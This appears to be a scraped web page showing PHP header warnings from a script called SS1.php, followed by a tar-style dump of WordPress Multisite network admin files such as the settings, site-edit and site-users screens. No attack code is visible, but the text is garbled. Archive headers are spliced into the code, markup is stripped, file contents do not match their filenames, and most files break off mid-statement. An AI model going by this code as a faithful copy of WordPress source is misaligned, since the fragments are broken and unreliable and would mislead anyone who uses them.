??????????????
Warning : Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 173
Warning : Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 174
Warning : Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 175
Warning : Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 176
Warning : Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 177
Warning : Cannot modify header information - headers already sent by (output started at /home/mybf1/public_html/mentol.bf1.my/SS1.php:4) in /home/mybf1/public_html/mentol.bf1.my/SS1.php on line 178
about.php 0000644 00000000365 15120260073 0006367 0 ustar 00 domain, $current_site->domain ) || 0 !== strcasecmp( $current_blog->path, $current_site->path ) );
/**
* Filters whether to redirect the request to the Network Admin.
*
* @since 3.2.0
*
* @param bool $redirect_network_admin_request Whether the request should be redirected.
*/
$redirect_network_admin_request = apply_filters( 'redirect_network_admin_request', $redirect_network_admin_request );
if ( $redirect_network_admin_request ) {
wp_redirect( network_admin_url() );
exit;
}
unset( $redirect_network_admin_request );
credits.php 0000644 00000000371 15120260073 0006707 0 ustar 00 ' . __( 'Welcome to your Network Admin. This area of the Administration Screens is used for managing all aspects of your Multisite Network.' ) . '
';
$overview .= '' . __( 'From here you can:' ) . '
';
$overview .= '' . __( 'Add and manage sites or users' ) . ' ';
$overview .= '' . __( 'Install and activate themes or plugins' ) . ' ';
$overview .= '' . __( 'Update your network' ) . ' ';
$overview .= '' . __( 'Modify global network settings' ) . ' ';
get_current_screen()->add_help_tab(
array(
'id' => 'overview',
'title' => __( 'Overview' ),
'content' => $overview,
)
);
$quick_tasks = '' . __( 'The Right Now widget on this screen provides current user and site counts on your network.' ) . '
';
$quick_tasks .= '' . __( 'To add a new user, click Create a New User .' ) . ' ';
$quick_tasks .= '' . __( 'To add a new site, click Create a New Site .' ) . ' ';
$quick_tasks .= '' . __( 'To search for a user or site, use the search boxes.' ) . '
';
$quick_tasks .= '' . __( 'To search for a user, enter an email address or username . Use a wildcard to search for a partial username, such as user*.' ) . ' ';
$quick_tasks .= '' . __( 'To search for a site, enter the path or domain .' ) . ' ';
get_current_screen()->add_help_tab(
array(
'id' => 'quick-tasks',
'title' => __( 'Quick Tasks' ),
'content' => $quick_tasks,
)
);
get_current_screen()->set_help_sidebar(
'' . __( 'For more information:' ) . '
' .
'' . __( 'Documentation on the Network Admin ' ) . '
' .
'' . __( 'Support Forums ' ) . '
'
);
wp_dashboard_setup();
wp_enqueue_script( 'dashboard' );
wp_enqueue_script( 'plugin-install' );
add_thickbox();
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
%s ',
$update_data['counts']['total'],
number_format_i18n( $update_data['counts']['total'] )
)
),
$cap,
'update-core.php',
);
} else {
$submenu['index.php'][10] = array( __( 'Updates' ), $cap, 'update-core.php' );
}
unset( $cap );
$submenu['index.php'][15] = array( __( 'Upgrade Network' ), 'upgrade_network', 'upgrade.php' );
$menu[4] = array( '', 'read', 'separator1', '', 'wp-menu-separator' );
/* translators: Sites menu item. */
$menu[5] = array( __( 'Sites' ), 'manage_sites', 'sites.php', '', 'menu-top menu-icon-site', 'menu-site', 'dashicons-admin-multisite' );
$submenu['sites.php'][5] = array( __( 'All Sites' ), 'manage_sites', 'sites.php' );
$submenu['sites.php'][10] = array( _x( 'Add New', 'site' ), 'create_sites', 'site-new.php' );
$menu[10] = array( __( 'Users' ), 'manage_network_users', 'users.php', '', 'menu-top menu-icon-users', 'menu-users', 'dashicons-admin-users' );
$submenu['users.php'][5] = array( __( 'All Users' ), 'manage_network_users', 'users.php' );
$submenu['users.php'][10] = array( _x( 'Add New', 'user' ), 'create_users', 'user-new.php' );
if ( current_user_can( 'update_themes' ) && $update_data['counts']['themes'] ) {
$menu[15] = array(
sprintf(
/* translators: %s: Number of available theme updates. */
__( 'Themes %s' ),
sprintf(
'%s ',
$update_data['counts']['themes'],
number_format_i18n( $update_data['counts']['themes'] )
)
),
'manage_network_themes',
'themes.php',
'',
'menu-top menu-icon-appearance',
'menu-appearance',
'dashicons-admin-appearance',
);
} else {
$menu[15] = array( __( 'Themes' ), 'manage_network_themes', 'themes.php', '', 'menu-top menu-icon-appearance', 'menu-appearance', 'dashicons-admin-appearance' );
}
$submenu['themes.php'][5] = array( __( 'Installed Themes' ), 'manage_network_themes', 'themes.php' );
$submenu['themes.php'][10] = array( _x( 'Add New', 'theme' ), 'install_themes', 'theme-install.php' );
$submenu['themes.php'][15] = array( __( 'Theme Editor' ), 'edit_themes', 'theme-editor.php' );
if ( current_user_can( 'update_plugins' ) && $update_data['counts']['plugins'] ) {
$menu[20] = array(
sprintf(
/* translators: %s: Number of available plugin updates. */
__( 'Plugins %s' ),
sprintf(
'%s ',
$update_data['counts']['plugins'],
number_format_i18n( $update_data['counts']['plugins'] )
)
),
'manage_network_plugins',
'plugins.php',
'',
'menu-top menu-icon-plugins',
'menu-plugins',
'dashicons-admin-plugins',
);
} else {
$menu[20] = array( __( 'Plugins' ), 'manage_network_plugins', 'plugins.php', '', 'menu-top menu-icon-plugins', 'menu-plugins', 'dashicons-admin-plugins' );
}
$submenu['plugins.php'][5] = array( __( 'Installed Plugins' ), 'manage_network_plugins', 'plugins.php' );
$submenu['plugins.php'][10] = array( _x( 'Add New', 'plugin' ), 'install_plugins', 'plugin-install.php' );
$submenu['plugins.php'][15] = array( __( 'Plugin Editor' ), 'edit_plugins', 'plugin-editor.php' );
$menu[25] = array( __( 'Settings' ), 'manage_network_options', 'settings.php', '', 'menu-top menu-icon-settings', 'menu-settings', 'dashicons-admin-settings' );
if ( defined( 'MULTISITE' ) && defined( 'WP_ALLOW_MULTISITE' ) && WP_ALLOW_MULTISITE ) {
$submenu['settings.php'][5] = array( __( 'Network Settings' ), 'manage_network_options', 'settings.php' );
$submenu['settings.php'][10] = array( __( 'Network Setup' ), 'setup_network', 'setup.php' );
}
unset( $update_data );
$menu[99] = array( '', 'exist', 'separator-last', '', 'wp-menu-separator' );
require_once ABSPATH . 'wp-admin/includes/menu.php';
plugin-editor.php 0000644 00000000405 15120260073 0010032 0 ustar 00 add_help_tab(
array(
'id' => 'overview',
'title' => __( 'Overview' ),
'content' =>
'' . __( 'This screen sets and changes options for the network as a whole. The first site is the main site in the network and network options are pulled from that original site’s options.' ) . '
' .
'' . __( 'Operational settings has fields for the network’s name and admin email.' ) . '
' .
'' . __( 'Registration settings can disable/enable public signups. If you let others sign up for a site, install spam plugins. Spaces, not commas, should separate names banned as sites for this network.' ) . '
' .
'' . __( 'New site settings are defaults applied when a new site is created in the network. These include welcome email for when a new site or user account is registered, and what᾿s put in the first post, page, comment, comment author, and comment URL.' ) . '
' .
'' . __( 'Upload settings control the size of the uploaded files and the amount of available upload space for each site. You can change the default value for specific sites when you edit a particular site. Allowed file types are also listed (space separated only).' ) . '
' .
'' . __( 'You can set the language, and the translation files will be automatically downloaded and installed (available if your filesystem is writable).' ) . '
' .
'' . __( 'Menu setting enables/disables the plugin menus from appearing for non super admins, so that only super admins, not site admins, have access to activate plugins.' ) . '
' .
'' . __( 'Super admins can no longer be added on the Options screen. You must now go to the list of existing users on Network Admin > Users and click on Username or the Edit action link below that name. This goes to an Edit User page where you can check a box to grant super admin privileges.' ) . '
',
)
);
get_current_screen()->set_help_sidebar(
'' . __( 'For more information:' ) . '
' .
'' . __( 'Documentation on Network Settings ' ) . '
' .
'' . __( 'Support ' ) . '
'
);
if ( $_POST ) {
/** This action is documented in wp-admin/network/edit.php */
do_action( 'wpmuadminedit' );
check_admin_referer( 'siteoptions' );
$checked_options = array(
'menu_items' => array(),
'registrationnotification' => 'no',
'upload_space_check_disabled' => 1,
'add_new_users' => 0,
);
foreach ( $checked_options as $option_name => $option_unchecked_value ) {
if ( ! isset( $_POST[ $option_name ] ) ) {
$_POST[ $option_name ] = $option_unchecked_value;
}
}
$options = array(
'registrationnotification',
'registration',
'add_new_users',
'menu_items',
'upload_space_check_disabled',
'blog_upload_space',
'upload_filetypes',
'site_name',
'first_post',
'first_page',
'first_comment',
'first_comment_url',
'first_comment_author',
'welcome_email',
'welcome_user_email',
'fileupload_maxk',
'global_terms_enabled',
'illegal_names',
'limited_email_domains',
'banned_email_domains',
'WPLANG',
'new_admin_email',
'first_comment_email',
);
// Handle translation installation.
if ( ! empty( $_POST['WPLANG'] ) && current_user_can( 'install_languages' ) && wp_can_install_language_pack() ) {
$language = wp_download_language_pack( $_POST['WPLANG'] );
if ( $language ) {
$_POST['WPLANG'] = $language;
}
}
foreach ( $options as $option_name ) {
if ( ! isset( $_POST[ $option_name ] ) ) {
continue;
}
$value = wp_unslash( $_POST[ $option_name ] );
update_site_option( $option_name, $value );
}
/**
* Fires after the network options are updated.
*
* @since MU (3.0.0)
*/
do_action( 'update_wpmu_options' );
wp_redirect( add_query_arg( 'updated', 'true', network_admin_url( 'settings.php' ) ) );
exit;
}
require_once ABSPATH . 'wp-admin/admin-header.php';
if ( isset( $_GET['updated'] ) ) {
?>
setup.php 0000644 00000000367 15120260073 0006417 0 ustar 00 add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );
$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;
if ( ! $id ) {
wp_die( __( 'Invalid site ID.' ) );
}
$details = get_site( $id );
if ( ! $details ) {
wp_die( __( 'The requested site does not exist.' ) );
}
if ( ! can_edit_network( $details->site_id ) ) {
wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}
$parsed_scheme = parse_url( $details->siteurl, PHP_URL_SCHEME );
$is_main_site = is_main_site( $id );
if ( isset( $_REQUEST['action'] ) && 'update-site' === $_REQUEST['action'] ) {
check_admin_referer( 'edit-site' );
switch_to_blog( $id );
// Rewrite rules can't be flushed during switch to blog.
delete_option( 'rewrite_rules' );
$blog_data = wp_unslash( $_POST['blog'] );
$blog_data['scheme'] = $parsed_scheme;
if ( $is_main_site ) {
// On the network's main site, don't allow the domain or path to change.
$blog_data['domain'] = $details->domain;
$blog_data['path'] = $details->path;
} else {
// For any other site, the scheme, domain, and path can all be changed. We first
// need to ensure a scheme has been provided, otherwise fallback to the existing.
$new_url_scheme = parse_url( $blog_data['url'], PHP_URL_SCHEME );
if ( ! $new_url_scheme ) {
$blog_data['url'] = esc_url( $parsed_scheme . '://' . $blog_data['url'] );
}
$update_parsed_url = parse_url( $blog_data['url'] );
// If a path is not provided, use the default of `/`.
if ( ! isset( $update_parsed_url['path'] ) ) {
$update_parsed_url['path'] = '/';
}
$blog_data['scheme'] = $update_parsed_url['scheme'];
$blog_data['domain'] = $update_parsed_url['host'];
$blog_data['path'] = $update_parsed_url['path'];
}
$existing_details = get_site( $id );
$blog_data_checkboxes = array( 'public', 'archived', 'spam', 'mature', 'deleted' );
foreach ( $blog_data_checkboxes as $c ) {
if ( ! in_array( (int) $existing_details->$c, array( 0, 1 ), true ) ) {
$blog_data[ $c ] = $existing_details->$c;
} else {
$blog_data[ $c ] = isset( $_POST['blog'][ $c ] ) ? 1 : 0;
}
}
update_blog_details( $id, $blog_data );
// Maybe update home and siteurl options.
$new_details = get_site( $id );
$old_home_url = trailingslashit( esc_url( get_option( 'home' ) ) );
$old_home_parsed = parse_url( $old_home_url );
if ( $old_home_parsed['host'] === $existing_details->domain && $old_home_parsed['path'] === $existing_details->path ) {
$new_home_url = untrailingslashit( esc_url_raw( $blog_data['scheme'] . '://' . $new_details->domain . $new_details->path ) );
update_option( 'home', $new_home_url );
}
$old_site_url = trailingslashit( esc_url( get_option( 'siteurl' ) ) );
$old_site_parsed = parse_url( $old_site_url );
if ( $old_site_parsed['host'] === $existing_details->domain && $old_site_parsed['path'] === $existing_details->path ) {
$new_site_url = untrailingslashit( esc_url_raw( $blog_data['scheme'] . '://' . $new_details->domain . $new_details->path ) );
update_option( 'siteurl', $new_site_url );
}
restore_current_blog();
wp_redirect(
add_query_arg(
array(
'update' => 'updated',
'id' => $id,
),
'site-info.php'
)
);
exit;
}
if ( isset( $_GET['update'] ) ) {
$messages = array();
if ( 'updated' === $_GET['update'] ) {
$messages[] = __( 'Site info updated.' );
}
}
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );
$parent_file = 'sites.php';
$submenu_file = 'sites.php';
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
|
$id,
'selected' => 'site-info',
)
);
if ( ! empty( $messages ) ) {
foreach ( $messages as $msg ) {
echo '
';
}
}
?>
add_help_tab(
array(
'id' => 'overview',
'title' => __( 'Overview' ),
'content' =>
'' . __( 'This screen is for Super Admins to add new sites to the network. This is not affected by the registration settings.' ) . '
' .
'' . __( 'If the admin email for the new site does not exist in the database, a new user will also be created.' ) . '
',
)
);
get_current_screen()->set_help_sidebar(
'' . __( 'For more information:' ) . '
' .
'' . __( 'Documentation on Site Management ' ) . '
' .
'' . __( 'Support Forums ' ) . '
'
);
if ( isset( $_REQUEST['action'] ) && 'add-site' === $_REQUEST['action'] ) {
check_admin_referer( 'add-blog', '_wpnonce_add-blog' );
if ( ! is_array( $_POST['blog'] ) ) {
wp_die( __( 'Can’t create an empty site.' ) );
}
$blog = $_POST['blog'];
$domain = '';
$blog['domain'] = trim( $blog['domain'] );
if ( preg_match( '|^([a-zA-Z0-9-])+$|', $blog['domain'] ) ) {
$domain = strtolower( $blog['domain'] );
}
// If not a subdomain installation, make sure the domain isn't a reserved word.
if ( ! is_subdomain_install() ) {
$subdirectory_reserved_names = get_subdirectory_reserved_names();
if ( in_array( $domain, $subdirectory_reserved_names, true ) ) {
wp_die(
sprintf(
/* translators: %s: Reserved names list. */
__( 'The following words are reserved for use by WordPress functions and cannot be used as blog names: %s' ),
'' . implode( ', ', $subdirectory_reserved_names ) . ''
)
);
}
}
$title = $blog['title'];
$meta = array(
'public' => 1,
);
// Handle translation installation for the new site.
if ( isset( $_POST['WPLANG'] ) ) {
if ( '' === $_POST['WPLANG'] ) {
$meta['WPLANG'] = ''; // en_US
} elseif ( in_array( $_POST['WPLANG'], get_available_languages(), true ) ) {
$meta['WPLANG'] = $_POST['WPLANG'];
} elseif ( current_user_can( 'install_languages' ) && wp_can_install_language_pack() ) {
$language = wp_download_language_pack( wp_unslash( $_POST['WPLANG'] ) );
if ( $language ) {
$meta['WPLANG'] = $language;
}
}
}
if ( empty( $domain ) ) {
wp_die( __( 'Missing or invalid site address.' ) );
}
if ( isset( $blog['email'] ) && '' === trim( $blog['email'] ) ) {
wp_die( __( 'Missing email address.' ) );
}
$email = sanitize_email( $blog['email'] );
if ( ! is_email( $email ) ) {
wp_die( __( 'Invalid email address.' ) );
}
if ( is_subdomain_install() ) {
$newdomain = $domain . '.' . preg_replace( '|^www\.|', '', get_network()->domain );
$path = get_network()->path;
} else {
$newdomain = get_network()->domain;
$path = get_network()->path . $domain . '/';
}
$password = 'N/A';
$user_id = email_exists( $email );
if ( ! $user_id ) { // Create a new user with a random password.
/**
* Fires immediately before a new user is created via the network site-new.php page.
*
* @since 4.5.0
*
* @param string $email Email of the non-existent user.
*/
do_action( 'pre_network_site_new_created_user', $email );
$user_id = username_exists( $domain );
if ( $user_id ) {
wp_die( __( 'The domain or path entered conflicts with an existing username.' ) );
}
$password = wp_generate_password( 12, false );
$user_id = wpmu_create_user( $domain, $password, $email );
if ( false === $user_id ) {
wp_die( __( 'There was an error creating the user.' ) );
}
/**
* Fires after a new user has been created via the network site-new.php page.
*
* @since 4.4.0
*
* @param int $user_id ID of the newly created user.
*/
do_action( 'network_site_new_created_user', $user_id );
}
$wpdb->hide_errors();
$id = wpmu_create_blog( $newdomain, $path, $title, $user_id, $meta, get_current_network_id() );
$wpdb->show_errors();
if ( ! is_wp_error( $id ) ) {
if ( ! is_super_admin( $user_id ) && ! get_user_option( 'primary_blog', $user_id ) ) {
update_user_option( $user_id, 'primary_blog', $id, true );
}
wpmu_new_site_admin_notification( $id, $user_id );
wpmu_welcome_notification( $id, $user_id, $password, $title, array( 'public' => 1 ) );
wp_redirect(
add_query_arg(
array(
'update' => 'added',
'id' => $id,
),
'site-new.php'
)
);
exit;
} else {
wp_die( $id->get_error_message() );
}
}
if ( isset( $_GET['update'] ) ) {
$messages = array();
if ( 'added' === $_GET['update'] ) {
$messages[] = sprintf(
/* translators: 1: Dashboard URL, 2: Network admin edit URL. */
__( 'Site added. Visit Dashboard or Edit Site ' ),
esc_url( get_admin_url( absint( $_GET['id'] ) ) ),
network_admin_url( 'site-info.php?id=' . absint( $_GET['id'] ) )
);
}
}
$title = __( 'Add New Site' );
$parent_file = 'sites.php';
wp_enqueue_script( 'user-suggest' );
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
';
}
}
?>
*'
);
?>
add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );
$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;
if ( ! $id ) {
wp_die( __( 'Invalid site ID.' ) );
}
$details = get_site( $id );
if ( ! $details ) {
wp_die( __( 'The requested site does not exist.' ) );
}
if ( ! can_edit_network( $details->site_id ) ) {
wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}
$is_main_site = is_main_site( $id );
if ( isset( $_REQUEST['action'] ) && 'update-site' === $_REQUEST['action'] && is_array( $_POST['option'] ) ) {
check_admin_referer( 'edit-site' );
switch_to_blog( $id );
$skip_options = array( 'allowedthemes' ); // Don't update these options since they are handled elsewhere in the form.
foreach ( (array) $_POST['option'] as $key => $val ) {
$key = wp_unslash( $key );
$val = wp_unslash( $val );
if ( 0 === $key || is_array( $val ) || in_array( $key, $skip_options, true ) ) {
continue; // Avoids "0 is a protected WP option and may not be modified" error when editing blog options.
}
update_option( $key, $val );
}
/**
* Fires after the site options are updated.
*
* @since 3.0.0
* @since 4.4.0 Added `$id` parameter.
*
* @param int $id The ID of the site being updated.
*/
do_action( 'wpmu_update_blog_options', $id );
restore_current_blog();
wp_redirect(
add_query_arg(
array(
'update' => 'updated',
'id' => $id,
),
'site-settings.php'
)
);
exit;
}
if ( isset( $_GET['update'] ) ) {
$messages = array();
if ( 'updated' === $_GET['update'] ) {
$messages[] = __( 'Site options updated.' );
}
}
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );
$parent_file = 'sites.php';
$submenu_file = 'sites.php';
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
|
$id,
'selected' => 'site-settings',
)
);
if ( ! empty( $messages ) ) {
foreach ( $messages as $msg ) {
echo '
';
}
}
?>
add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );
get_current_screen()->set_screen_reader_content(
array(
'heading_views' => __( 'Filter site themes list' ),
'heading_pagination' => __( 'Site themes list navigation' ),
'heading_list' => __( 'Site themes list' ),
)
);
$wp_list_table = _get_list_table( 'WP_MS_Themes_List_Table' );
$action = $wp_list_table->current_action();
$s = isset( $_REQUEST['s'] ) ? $_REQUEST['s'] : '';
// Clean up request URI from temporary args for screen options/paging uri's to work as expected.
$temp_args = array( 'enabled', 'disabled', 'error' );
$_SERVER['REQUEST_URI'] = remove_query_arg( $temp_args, $_SERVER['REQUEST_URI'] );
$referer = remove_query_arg( $temp_args, wp_get_referer() );
if ( ! empty( $_REQUEST['paged'] ) ) {
$referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer );
}
$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;
if ( ! $id ) {
wp_die( __( 'Invalid site ID.' ) );
}
$wp_list_table->prepare_items();
$details = get_site( $id );
if ( ! $details ) {
wp_die( __( 'The requested site does not exist.' ) );
}
if ( ! can_edit_network( $details->site_id ) ) {
wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}
$is_main_site = is_main_site( $id );
if ( $action ) {
switch_to_blog( $id );
$allowed_themes = get_option( 'allowedthemes' );
switch ( $action ) {
case 'enable':
check_admin_referer( 'enable-theme_' . $_GET['theme'] );
$theme = $_GET['theme'];
$action = 'enabled';
$n = 1;
if ( ! $allowed_themes ) {
$allowed_themes = array( $theme => true );
} else {
$allowed_themes[ $theme ] = true;
}
break;
case 'disable':
check_admin_referer( 'disable-theme_' . $_GET['theme'] );
$theme = $_GET['theme'];
$action = 'disabled';
$n = 1;
if ( ! $allowed_themes ) {
$allowed_themes = array();
} else {
unset( $allowed_themes[ $theme ] );
}
break;
case 'enable-selected':
check_admin_referer( 'bulk-themes' );
if ( isset( $_POST['checked'] ) ) {
$themes = (array) $_POST['checked'];
$action = 'enabled';
$n = count( $themes );
foreach ( (array) $themes as $theme ) {
$allowed_themes[ $theme ] = true;
}
} else {
$action = 'error';
$n = 'none';
}
break;
case 'disable-selected':
check_admin_referer( 'bulk-themes' );
if ( isset( $_POST['checked'] ) ) {
$themes = (array) $_POST['checked'];
$action = 'disabled';
$n = count( $themes );
foreach ( (array) $themes as $theme ) {
unset( $allowed_themes[ $theme ] );
}
} else {
$action = 'error';
$n = 'none';
}
break;
default:
if ( isset( $_POST['checked'] ) ) {
check_admin_referer( 'bulk-themes' );
$themes = (array) $_POST['checked'];
$n = count( $themes );
$screen = get_current_screen()->id;
/**
* Fires when a custom bulk action should be handled.
*
* The redirect link should be modified with success or failure feedback
* from the action to be used to display feedback to the user.
*
* The dynamic portion of the hook name, `$screen`, refers to the current screen ID.
*
* @since 4.7.0
*
* @param string $redirect_url The redirect URL.
* @param string $action The action being taken.
* @param array $items The items to take the action on.
* @param int $site_id The site ID.
*/
$referer = apply_filters( "handle_network_bulk_actions-{$screen}", $referer, $action, $themes, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
} else {
$action = 'error';
$n = 'none';
}
}
update_option( 'allowedthemes', $allowed_themes );
restore_current_blog();
wp_safe_redirect(
add_query_arg(
array(
'id' => $id,
$action => $n,
),
$referer
)
);
exit;
}
if ( isset( $_GET['action'] ) && 'update-site' === $_GET['action'] ) {
wp_safe_redirect( $referer );
exit;
}
add_thickbox();
add_screen_option( 'per_page' );
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );
$parent_file = 'sites.php';
$submenu_file = 'sites.php';
require_once ABSPATH . 'wp-admin/admin-header.php'; ?>
|
$id,
'selected' => 'site-themes',
)
);
if ( isset( $_GET['enabled'] ) ) {
$enabled = absint( $_GET['enabled'] );
if ( 1 === $enabled ) {
$message = __( 'Theme enabled.' );
} else {
/* translators: %s: Number of themes. */
$message = _n( '%s theme enabled.', '%s themes enabled.', $enabled );
}
echo '
' . sprintf( $message, number_format_i18n( $enabled ) ) . '
';
} elseif ( isset( $_GET['disabled'] ) ) {
$disabled = absint( $_GET['disabled'] );
if ( 1 === $disabled ) {
$message = __( 'Theme disabled.' );
} else {
/* translators: %s: Number of themes. */
$message = _n( '%s theme disabled.', '%s themes disabled.', $disabled );
}
echo '
' . sprintf( $message, number_format_i18n( $disabled ) ) . '
';
} elseif ( isset( $_GET['error'] ) && 'none' === $_GET['error'] ) {
echo '
' . __( 'No theme selected.' ) . '
';
}
?>
search_box( __( 'Search Installed Themes' ), 'theme' ); ?>
views(); ?>
display(); ?>
site-users.php 0000644 00000026446 15120260073 0007370 0 ustar 00 prepare_items();
get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );
get_current_screen()->set_screen_reader_content(
array(
'heading_views' => __( 'Filter site users list' ),
'heading_pagination' => __( 'Site users list navigation' ),
'heading_list' => __( 'Site users list' ),
)
);
$_SERVER['REQUEST_URI'] = remove_query_arg( 'update', $_SERVER['REQUEST_URI'] );
$referer = remove_query_arg( 'update', wp_get_referer() );
if ( ! empty( $_REQUEST['paged'] ) ) {
$referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer );
}
$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;
if ( ! $id ) {
wp_die( __( 'Invalid site ID.' ) );
}
$details = get_site( $id );
if ( ! $details ) {
wp_die( __( 'The requested site does not exist.' ) );
}
if ( ! can_edit_network( $details->site_id ) ) {
wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}
$is_main_site = is_main_site( $id );
switch_to_blog( $id );
$action = $wp_list_table->current_action();
if ( $action ) {
switch ( $action ) {
case 'newuser':
check_admin_referer( 'add-user', '_wpnonce_add-new-user' );
$user = $_POST['user'];
if ( ! is_array( $_POST['user'] ) || empty( $user['username'] ) || empty( $user['email'] ) ) {
$update = 'err_new';
} else {
$password = wp_generate_password( 12, false );
$user_id = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, esc_html( $user['email'] ) );
if ( false === $user_id ) {
$update = 'err_new_dup';
} else {
$result = add_user_to_blog( $id, $user_id, $_POST['new_role'] );
if ( is_wp_error( $result ) ) {
$update = 'err_add_fail';
} else {
$update = 'newuser';
/**
* Fires after a user has been created via the network site-users.php page.
*
* @since 4.4.0
*
* @param int $user_id ID of the newly created user.
*/
do_action( 'network_site_users_created_user', $user_id );
}
}
}
break;
case 'adduser':
check_admin_referer( 'add-user', '_wpnonce_add-user' );
if ( ! empty( $_POST['newuser'] ) ) {
$update = 'adduser';
$newuser = $_POST['newuser'];
$user = get_user_by( 'login', $newuser );
if ( $user && $user->exists() ) {
if ( ! is_user_member_of_blog( $user->ID, $id ) ) {
$result = add_user_to_blog( $id, $user->ID, $_POST['new_role'] );
if ( is_wp_error( $result ) ) {
$update = 'err_add_fail';
}
} else {
$update = 'err_add_member';
}
} else {
$update = 'err_add_notfound';
}
} else {
$update = 'err_add_notfound';
}
break;
case 'remove':
if ( ! current_user_can( 'remove_users' ) ) {
wp_die( __( 'Sorry, you are not allowed to remove users.' ), 403 );
}
check_admin_referer( 'bulk-users' );
$update = 'remove';
if ( isset( $_REQUEST['users'] ) ) {
$userids = $_REQUEST['users'];
foreach ( $userids as $user_id ) {
$user_id = (int) $user_id;
remove_user_from_blog( $user_id, $id );
}
} elseif ( isset( $_GET['user'] ) ) {
remove_user_from_blog( $_GET['user'] );
} else {
$update = 'err_remove';
}
break;
case 'promote':
check_admin_referer( 'bulk-users' );
$editable_roles = get_editable_roles();
$role = $_REQUEST['new_role'];
if ( empty( $editable_roles[ $role ] ) ) {
wp_die( __( 'Sorry, you are not allowed to give users that role.' ), 403 );
}
if ( isset( $_REQUEST['users'] ) ) {
$userids = $_REQUEST['users'];
$update = 'promote';
foreach ( $userids as $user_id ) {
$user_id = (int) $user_id;
// If the user doesn't already belong to the blog, bail.
if ( ! is_user_member_of_blog( $user_id ) ) {
wp_die(
'' . __( 'Something went wrong.' ) . ' ' .
'' . __( 'One of the selected users is not a member of this site.' ) . '
',
403
);
}
$user = get_userdata( $user_id );
$user->set_role( $role );
}
} else {
$update = 'err_promote';
}
break;
default:
if ( ! isset( $_REQUEST['users'] ) ) {
break;
}
check_admin_referer( 'bulk-users' );
$userids = $_REQUEST['users'];
/** This action is documented in wp-admin/network/site-themes.php */
$referer = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $referer, $action, $userids, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
$update = $action;
break;
}
wp_safe_redirect( add_query_arg( 'update', $update, $referer ) );
exit;
}
restore_current_blog();
if ( isset( $_GET['action'] ) && 'update-site' === $_GET['action'] ) {
wp_safe_redirect( $referer );
exit;
}
add_screen_option( 'per_page' );
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );
$parent_file = 'sites.php';
$submenu_file = 'sites.php';
/**
* Filters whether to show the Add Existing User form on the Multisite Users screen.
*
* @since 3.1.0
*
* @param bool $bool Whether to show the Add Existing User form. Default true.
*/
if ( ! wp_is_large_network( 'users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) {
wp_enqueue_script( 'user-suggest' );
}
require_once ABSPATH . 'wp-admin/admin-header.php'; ?>
|
$id,
'selected' => 'site-users',
)
);
if ( isset( $_GET['update'] ) ) :
switch ( $_GET['update'] ) {
case 'adduser':
echo '
' . __( 'User added.' ) . '
';
break;
case 'err_add_member':
echo '
' . __( 'User is already a member of this site.' ) . '
';
break;
case 'err_add_fail':
echo '
' . __( 'User could not be added to this site.' ) . '
';
break;
case 'err_add_notfound':
echo '
' . __( 'Enter the username of an existing user.' ) . '
';
break;
case 'promote':
echo '
' . __( 'Changed roles.' ) . '
';
break;
case 'err_promote':
echo '
' . __( 'Select a user to change role.' ) . '
';
break;
case 'remove':
echo '
' . __( 'User removed from this site.' ) . '
';
break;
case 'err_remove':
echo '
' . __( 'Select a user to remove.' ) . '
';
break;
case 'newuser':
echo '
' . __( 'User created.' ) . '
';
break;
case 'err_new':
echo '
' . __( 'Enter the username and email.' ) . '
';
break;
case 'err_new_dup':
echo '
' . __( 'Duplicated username or email address.' ) . '
';
break;
}
endif;
?>
search_box( __( 'Search Users' ), 'user' ); ?>
views(); ?>
display(); ?>
'submit-add-existing-user' ) ); ?>
'submit-add-user' ) ); ?>
get_pagenum();
$title = __( 'Sites' );
$parent_file = 'sites.php';
add_screen_option( 'per_page' );
get_current_screen()->add_help_tab(
array(
'id' => 'overview',
'title' => __( 'Overview' ),
